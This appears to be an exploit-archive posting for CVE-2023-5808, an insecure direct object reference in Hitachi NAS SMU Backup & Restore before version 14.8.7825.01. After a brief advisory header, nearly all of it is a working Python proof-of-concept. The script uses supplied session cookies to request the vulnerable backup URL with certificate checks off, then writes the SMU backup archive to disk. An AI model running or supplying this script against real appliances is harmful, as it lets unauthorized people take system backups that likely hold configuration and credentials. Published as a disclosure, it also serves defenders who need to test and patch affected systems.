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Hitachi NAS SMU Backup And Restore Insecure Direct Object Reference

Hitachi NAS SMU Backup And Restore Insecure Direct Object Reference
Posted Mar 11, 2024
Authored by Arslan Masood

Hitachi NAS SMU Backup and Restore versions prior to 14.8.7825.01 suffer from an insecure direct object reference vulnerability.

tags | exploit
advisories | CVE-2023-5808
SHA-256 | 3cfc580881d74cff8068b880201aeb809919ad954eac8b5a50b277411adaa510

Hitachi NAS SMU Backup And Restore Insecure Direct Object Reference

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#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-5808
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04

import argparse
from datetime import datetime
from os import getcwd

import requests

parser = argparse.ArgumentParser(
description="CVE-2023-5808 PoC",
usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)

# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)

# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)

# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)

args = parser.parse_args()

def download_file(hostname, jsessionid, jsessionidsso):
# Set the filename:
filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"

# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"

# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}

# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}

# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)

print(f"{filename} has been downloaded to {getcwd()}")

if __name__ == "__main__":
download_file(args.host, args.id, args.sso)


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